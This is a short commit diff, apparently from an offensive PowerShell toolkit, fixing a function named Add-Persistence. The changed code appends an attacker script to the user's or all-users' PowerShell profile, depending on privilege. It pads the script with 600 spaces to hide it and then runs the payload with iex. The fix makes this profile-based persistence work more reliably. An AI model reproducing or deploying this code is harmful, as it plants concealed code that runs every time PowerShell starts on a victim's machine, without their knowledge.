Fixed Add-Persistence. Issue #98
This commit is contained in:
parent
9a2dfad3de
commit
ef37a138b8
|
|
@ -660,7 +660,8 @@ if(([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::G
|
||||||
{$Prof=$PROFILE.AllUsersAllHosts;$Payload=ELEVATEDTRIGGER}
|
{$Prof=$PROFILE.AllUsersAllHosts;$Payload=ELEVATEDTRIGGER}
|
||||||
else
|
else
|
||||||
{$Prof=$PROFILE.CurrentUserAllHosts;$Payload=USERTRIGGER}
|
{$Prof=$PROFILE.CurrentUserAllHosts;$Payload=USERTRIGGER}
|
||||||
' '*600+$Script.ToString()|Out-File $Prof -A -NoC -Fo
|
mkdir (Split-Path -Parent $Prof)
|
||||||
|
(gc $Prof) + (' ' * 600 + $Script)|Out-File $Prof -Fo
|
||||||
iex $Payload|Out-Null
|
iex $Payload|Out-Null
|
||||||
Write-Output $Payload}
|
Write-Output $Payload}
|
||||||
else
|
else
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue